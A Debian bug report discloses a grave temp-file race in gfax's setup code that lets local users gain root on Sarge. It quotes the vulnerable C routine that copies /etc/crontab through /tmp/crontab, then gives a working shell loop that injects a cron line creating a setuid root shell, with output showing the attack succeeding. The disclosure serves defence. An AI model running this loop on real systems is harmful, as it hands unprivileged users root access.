Package: gfax
Version: 0.4.2-11
Severity: grave
Usertags: sourcescan
Tags: security
*** Please type your report below this line ***
The gfax package as released in Sarge, make unsafe use of temporary files
which allow local users to gain root trivially.
Etch, Lenny, and Sid are unaffected.
The following code is in src/mgetty_setup.c:
/* if it's NULL then nuke the faxrunq crontab entry. */
if ((fin = fopen("/etc/crontab", "r")) == NULL) {
do_message(_("\nCan't open /etc/crontab\n"));
return;
}
if ((fout = fopen("/tmp/crontab", "w")) == NULL) {
do_message(_("\nCan't create /tmp/crontab\n"));
return;
}
while (fgets(buf, 128, fin) != NULL) {
fputs(buf, fout);
fclose(fout);
fclose(fin);
/* now copy the new file back to /etc */
if ((fin = fopen("/tmp/crontab", "r")) == NULL) {
do_message(_("\nCan't open /tmp/crontab\n"));
return;
}
if ((fout = fopen("/etc/crontab", "w")) == NULL) {
do_message(_("\nCan't create /etc/crontab\n"));
return;
}
while ((c = fgetc(fin)) != EOF)
fputc(c, fout);
fclose(fout);
fclose(fin);
remove("/tmp/crontab");
This can be abused to write arbitary commands to the /etc/crontab file.
If /tmp/crontab exists already, owned by a non-root user then it will
be truncated and trashed. However the ownership will still remain that
of the non-root user - so a race condition between the first copy
and the second copy can allow arbitary line(s) to be appended to /etc/crontab.
The following exploits this easily:
[EMAIL PROTECTED]:~$ while true; do echo "*/1 * * * * root /bin/cp /bin/sh /tmp
&& chmod 4755 /tmp/sh" > /tmp/crontab; done
When root runs the setup program things end up like this:
[EMAIL PROTECTED]:~$ ls -l /etc/crontab
-rw-r--r-- 1 root root 60 2007-07-02 20:27 /etc/crontab
[EMAIL PROTECTED]:~$ cat /etc/crontab
*/1 * * * * root /bin/cp /bin/sh /tmp && chmod 4755 /tmp/sh
[EMAIL PROTECTED]:~$ ls -l /tmp/sh
-rwsr-xr-x 1 root root 769368 2007-07-02 20:28 /tmp/sh
Steve
--
http://www.steve.org.uk/
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